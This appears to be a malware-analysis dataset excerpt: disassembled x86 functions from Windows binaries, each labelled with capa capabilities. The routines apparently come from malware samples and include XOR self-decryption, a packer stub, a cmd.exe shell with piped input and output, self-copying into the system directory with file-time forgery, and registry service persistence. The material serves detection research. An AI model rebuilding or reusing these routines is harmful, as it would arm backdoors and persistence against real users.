joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Identify system language via api

Disassembly:
mov edi, 0x7105
mov edx, 0x737a
mov ecx, 0x7213
lea eax, [0x4a3258]
call sub.user32.dll_GetClipboardSequenceNumber
push 0x40
push 0x3000
push 0xac00
push 0
call sub.kernel32.dll_GetSystemDefaultUILanguage
call sub.kernel32.dll_VirtualAlloc
call fcn.00499b4c
ret

Function at 0x16a4120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.GVD1
lea edi, [esi - 0x1270000]
push edi
or ebp, 0xffffffff
jmp 0x16a4142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a4149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
mov al, byte [edi]
jb 0x16a4138
mov eax, 1
add ebx, ebx
jne 0x16a415d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a416e
jne 0x16a417e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a417e
dec eax
add ebx, ebx
jne 0x16a417a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a4152
xor ecx, ecx
sub eax, 3
jb 0x16a4196
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a420a
sar eax, 1
mov ebp, eax
jmp 0x16a41a1
add ebx, ebx
jne 0x16a41a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x16a41ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x16a41d2
inc ecx
add ebx, ebx
jne 0x16a41be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a41b3
jne 0x16a41cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a41b3
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
mov al, byte [edi + ecx]
jbe 0x16a41f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a41e6
jmp 0x16a413e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a41f4
add edi, ecx
jmp 0x16a413e
pop esi
mov edi, esi
mov ecx, 0x346a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a4212
cmp byte [edi], 0x16
jne 0x16a4212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x16a4217
lea edi, [esi + 0x12a1000]
mov eax, dword [edi]
or eax, eax
je 0x16a4286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a57f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a58e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a4244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a58ec]
or eax, eax
je 0x16a4280
mov dword [ebx], eax
add ebx, 4
jmp 0x16a4261
call dword [esi + 0x12a58f0]
popal
jmp 0x46b748
Function at 0x4015dd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ae07c]
jne 0x4015e7
repz ret
jmp fcn.00401f07

Function at 0x407a1c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ae07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004056e4
and dword [ebp - 0x14], 0
cmp dword [0x4b0e50], 0
mov dword [ebp - 0x18], eax
jne 0x407acf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407b77
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407b77
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4b0e50], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4b0e54], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4b0e58], eax
call edi
push eax
call esi
mov dword [0x4b0e60], eax
test eax, eax
je 0x407acf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4b0e5c], eax
mov eax, dword [0x4b0e5c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407b28
cmp dword [0x4b0e60], ecx
je 0x407b28
push eax
call esi
push dword [0x4b0e60]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407b28
test ebx, ebx
je 0x407b28
call edi
test eax, eax
je 0x407b1f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407b1f
test byte [ebp - 8], 1
jne 0x407b28
or dword [ebp + 0x10], 0x200000
jmp 0x407b5b
mov eax, dword [0x4b0e54]
cmp eax, dword [ebp - 0x18]
je 0x407b5b
push eax
call esi
test eax, eax
je 0x407b5b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407b5b
mov eax, dword [0x4b0e58]
cmp eax, dword [ebp - 0x18]
je 0x407b5b
push eax
call esi
test eax, eax
je 0x407b5b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b0e50]
call esi
test eax, eax
je 0x407b77
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407b79
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004015dd
leave
ret
Function at 0x100126cb
Capabilities:
Inspect section memory permissions

Disassembly:
push es
mov dword [ebp + 0xc], ebx
jbe 0x10012704
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.10012105
adc edx, edi
invalid
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x100126d1
call fcn.10012194
mov al, 0xaf
aas
sahf
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x10012983
add eax, esi
mov dword [ebp - 0x44], eax

Function at 0x100127a1
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x10012739
cmp dword [eax + 0xc], ebx
je 0x100127dc
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.10012194
invalid
inc dword [ecx]
adc al, bh
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x100127ca
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x100127a5
and eax, 0xffff
push eax
jmp 0x100127a9
add byte [eax - 0x15], dl
add al, 0x83
rol dword [edx], 0x51
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10012159
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x10012983
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x1001278a
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x1001272b
call fcn.10012194
add edx, dword [edi - 0x63]
mov eax, dword [bx + 0xa0]
add byte [eax], al
cmp eax, ebx
je 0x10012848
add eax, esi

Function at 0x10012828
Capabilities:
Inspect section memory permissions

Disassembly:
or byte [ecx], al
adc ebx, ebp
or byte [ebx], bh
ror dword [edi], cl
test dword [esi + 1], ecx
add byte [eax], al
Function at 0x100013e0
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [0x10014574]
xor eax, eax
test ecx, ecx
je 0x1000144a
mov eax, dword [ecx + 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [0x10014574]
mov edx, dword [ecx]
push edx
call esi
mov eax, dword [0x10014574]
mov ecx, dword [eax + 8]
push ecx
call esi
mov edx, dword [0x10014574]
mov eax, dword [edx + 4]
push eax
call esi
mov ecx, dword [0x10014574]
push 0
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, eax
mov eax, dword [0x10014574]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
mov dword [0x10014574], 0
pop esi
ret
Function at 0x10001510
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create thread
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
sub esp, 0x174
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push edi
lea eax, [esp + 0x18]
push 0
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x28], 0xc
mov dword [esp + 0x30], 1
mov dword [esp + 0x2c], 0
call esi
test eax, eax
jne 0x10001556
pop edi
pop esi
add esp, 0x174
ret
lea eax, [esp + 0x18]
push 0
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
call esi
test eax, eax
jne 0x1000158c
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x174
ret
mov edx, dword [esp + 0x10]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xc]
push ebp
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
lea eax, [esp + 0x7c]
push 0x104
push eax
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x6c], 0x101
mov dword [esp + 0x78], edx
mov word [esp + 0x70], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x80]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop ebp
jne 0x1000165b
mov eax, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x174
ret
push 0x20
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
mov ecx, 8
xor eax, eax
mov dword [0x10014574], edi
rep stosd dword es:[edi], eax
mov ecx, dword [0x10014574]
mov edx, dword [esp + 0x28]
add ecx, 0x10
mov dword [ecx], edx
mov eax, dword [esp + 0x2c]
mov dword [ecx + 4], eax
mov edx, dword [esp + 0x30]
mov dword [ecx + 8], edx
mov eax, dword [esp + 0x34]
mov dword [ecx + 0xc], eax
mov ecx, dword [0x10014574]
mov edx, dword [esp + 0x10]
mov dword [ecx + 0xc], edx
mov eax, dword [0x10014574]
mov ecx, dword [esp + 0xc]
mov dword [eax], ecx
mov edx, dword [0x10014574]
mov eax, dword [esp + 0x14]
mov dword [edx + 8], eax
mov eax, dword [esp + 0x184]
mov edx, dword [0x10014574]
mov ecx, dword [esp + 0x18]
push eax
push 0
push 0x10001450
mov dword [edx + 4], ecx
call dword [sym.imp.MSVCRT.dll__beginthread]
mov eax, dword [esp + 0x18]
add esp, 0x10
pop edi
pop esi
add esp, 0x174
ret
Function at 0x100016f0
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x1000173b
lea eax, [edi + 8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
je 0x1000173b
mov ecx, dword [esp + 0xc]
push edi
push esi
call fcn.10001c50
cmp eax, edi
jne 0x10001732
push str.exit
push esi
mov byte [esi + edi], 0
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x10001743
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
call fcn.100013e0
pop edi
pop esi
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + esi - 1], 0xd
je 0x10001764
mov byte [ecx + esi], 0xd
mov byte [ecx + esi + 1], 0xa
mov byte [ecx + esi + 2], 0
lea ecx, [esp + 0x10]
push 0
push ecx
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [0x10014574]
not ecx
mov eax, dword [edx + 4]
dec ecx
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10001792
call fcn.100013e0
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
ret

Function at 0x10001920
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push esi
push 0
push 0x10001950
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [esi + 0x40], eax
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
ret

Function at 0x10001b60
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
lea eax, [ebx + 1]
mov edi, ecx
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
jne 0x10001b84
pop edi
pop esi
or eax, 0xffffffff
pop ebx
ret 8
test ebx, ebx
jle 0x10001ba1
mov ecx, dword [esp + 0x10]
push ebp
mov eax, esi
sub ecx, esi
mov ebp, ebx
mov dl, byte [ecx + eax]
xor dl, byte [edi + 0x10]
inc eax
dec ebp
mov byte [eax - 1], dl
jne 0x10001b93
pop ebp
mov eax, dword [edi + 0x44]
push 0
push ebx
push esi
push eax
call dword [0x10014538]
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
ret 8

Function at 0x100024c0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
test edi, edi
mov ebx, ecx
jle 0x10002532
lea eax, [edi + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
je 0x10002532
push edi
push esi
mov ecx, ebx
call fcn.10001c50
cmp eax, edi
je 0x10002506
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor esi, esi
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
ret 4
mov byte [esi + edi], 0
mov eax, dword [ebx + 0x24]
test eax, eax
je 0x10002529
lea ecx, [esp + 0x10]
push 0
push ecx
push edi
push esi
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
ret 4
Function at 0x10002c60
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x10002ca8
call fcn.10002cd0
mov ecx, esi
mov dword [esi + 4], 0
mov dword [esi + 0x14], 0
call fcn.10002b20
test eax, eax
mov dword [esi + 0x18], eax
jne 0x10002c94
mov dword [esi + 0x14], 1
pop esi
ret
push esi
push 0
push 0x10002b90
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [esi + 8], eax
pop esi
ret

Function at 0x100032e0
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
test ebx, ebx
jle 0x1000334b
lea edi, [ebx + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x18]
mov ecx, edi
call fcn.10001c50
cmp eax, ebx
je 0x1000332b
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
ret
push 0x210
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push eax
push 0
push 0x100031f0
mov dword [eax], edi
mov dword [eax + 4], esi
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x10003350
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.kernel32.dll
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
mov ecx, ebx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x20]
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
mov esi, eax
mov eax, dword [esp + 0x114]
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x100033f0
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes

Disassembly:
sub esp, 0x220
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x10012364
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x230]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000351c
mov edx, dword [0x10014584]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x128]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x128]
push 0x104
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x24]
push 0
lea ecx, [esp + 0x12c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.10003350
add esp, 0xc
test eax, eax
je 0x1000351c
push 0
push 0x80
push 3
push 0
push 0
lea edx, [esp + 0x38]
push 0x80000100
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x220
ret
Function at 0x10003530
Capabilities:
Get common file path
Set registry value

Disassembly:
sub esp, 0x210
push ebx
mov ebx, dword [esp + 0x218]
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push ebx
lea eax, [esp + 0x14]
push 0x100123b8
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
mov dword [esp + 8], 0
push ecx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000358a
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop ebx
add esp, 0x210
ret
lea ecx, [esp + 0x114]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10003680
mov edx, dword [esp + 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push eax
mov edi, 1
push 0x100123b0
push edx
mov dword [esp + 0x2c], edi
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push 0x100123a0
push ecx
mov dword [esp + 0x2c], 0
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 4
push edx
push 4
push 0
push 0x10012398
push eax
mov dword [esp + 0x2c], edi
call esi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x14]
push ebx
push 1
push eax
push 0x1001238c
push ecx
call esi
lea edx, [esp + 0x11c]
push ebx
push edx
lea eax, [esp + 0x20]
push 0x10012374
push eax
call ebp
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
mov edx, dword [esp + 0x10]
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push ecx
push 1
push eax
push 0x10012368
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x210
ret
Function at 0x10003990
Capabilities:
Get common file path

Disassembly:
mov ecx, dword [0x10014584]
sub esp, 0x30c
lea eax, [esp]
push esi
push edi
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll__strlwr]
lea edx, [esp + 8]
push edx
call esi
add esp, 4
lea eax, [esp + 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edi, [esp + 0x110]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x110]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
push ecx
push edx
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x10
test eax, eax
je 0x10003a73
mov ecx, dword [0x10012458]
push ebx
mov dword [esp + 0x214], ecx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x218]
lea edx, [esp + 0xc]
push 0x5c
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edi, eax
or ecx, 0xffffffff
inc edi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x21c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.100033f0
add esp, 0xc
pop ebx
call fcn.100041c0
push 0x100126c4
call fcn.100033f0
push 0x100126e4
call fcn.10003530
mov al, byte [0x10012704]
add esp, 8
test al, al
pop edi
pop esi
je 0x10003aa7
push 0x10012704
call fcn.10003690
add esp, 4
mov ecx, dword [0x10014584]
push ecx
call fcn.10004140
add esp, 4
test eax, eax
jne 0x10003ad9
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10003adf
push str.ServiceMain
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10003adf
push 0
push 0
call eax
xor eax, eax
add esp, 0x30c
ret